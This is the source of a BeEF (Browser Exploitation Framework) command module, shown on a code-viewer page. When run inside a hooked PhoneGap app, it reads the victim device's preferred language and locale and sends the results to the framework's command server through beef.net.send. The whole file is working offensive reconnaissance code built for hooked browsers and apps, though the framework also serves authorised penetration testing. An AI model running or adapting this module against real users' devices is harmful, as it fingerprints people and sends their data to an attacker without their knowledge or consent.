Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_globalization_status/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// Phonegap_globalization_status
8
//
9
beef.execute(function() {
10
var result = '';
11
12
navigator.globalization.getPreferredLanguage(
13
function (language) {
14
result = 'language: ' + language.value + '\n';
15
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
16
},
17
function () {
18
result = 'language: ' + 'fail\n';
19
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
20
}
21
);
22
23
navigator.globalization.getLocaleName(
24
function (locale) {
25
result = 'locale: ' + locale.value + '\n';
26
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
27
},
28
function () {
29
result = 'locale: ' + 'fail\n';
30
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
31
}
32
);
33
34
});
35